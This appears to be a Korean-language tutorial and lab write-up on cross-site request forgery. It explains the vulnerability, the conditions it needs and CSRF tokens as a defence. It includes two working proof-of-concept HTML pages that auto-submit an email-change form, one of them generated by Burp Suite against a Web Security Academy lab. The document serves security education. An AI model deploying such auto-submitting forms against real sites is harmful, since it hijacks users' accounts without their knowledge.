Cross-site request forgery (CSRF)

🔎 What is CSRF?

CSRF는 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점 입니다.
CSRF 공격의 피해자는 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹 사이트에 요청하게 됩니다. CSRF 공격의 피해자는 의도치 않은 요청을 통해 임의 비밀번호 변경, 게시글 등록 및 삭제, 임의 메시지 전송 등 HTTP 요청으로 이루어지는 행위에 대해 인지하지 못한 채 피해를 당할 수 있습니다.
일반적으로 CSRF 취약점을 방어하기 위해 CSRF Token 을 사용합니다.

CSRF Token은 같은 오리진에서만 접근 가능한 형태로 특정 Token을 저장해두고, HTTP 요청을 전송할 때 함께 전송합니다.
웹 서버는 전송된 Token을 이용하여 제 3자가 아닌 이용자로부터 요청이 왔다는 것을 확인할 수 있습니다.
CSRF Token값은 보통 HTML form 태그의 hidden 속성에 입력되거나, 동적 요청에서도 사용될 수 있습니다.

CSRF 공격이 가능하려면 3가지 주요 조건이 충족되어야합니다.

1. A relevant action : 공격자가 사용자를 유도할 수 있는 요청이 있어합니다(사용자 권한수정, 자신의 패스워드 변경 등)
2. Cookie-based session handling : 애플리케이션은 세션 쿠키에만 의존하여 요청한 사용자를 식별하여야 합니다.
3. No unpredictable request parameters : 작업을 수행하는 요청 파라미터에서 공격자가 추측할 수 없는 값을 가진 매개변수가 포함되지 않아야 합니다. (패스워드 변경 시 기존의 암호값을 알아야 할 경우 취약하지 않음)

이메일 주소 변경 시 취약한 HTTP 요청입니다.

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

해당 요청시 공격이 가능한 CSRF POC 코드입니다.(SameSite 쿠키가 사용되지 않는다고 가정)

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF vulnerability with no defenses

이메일 변경 시 CSRF에 대한 아무런 대응이 없어 공격이 가능한 취약점입니다.

이메일 변경 요청에서 Generate CSRF POC를 사용하여 공격코드를 생성할 수 있습니다.

csrf1

사용자가 공격코드가 삽입 된 페이지 접속시 자동으로 제출을 할 수 있는 코드를 같이 생성하여 줍니다

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://acd71ffa1ece7aa8c0b41bfe0040007f.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;gmail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>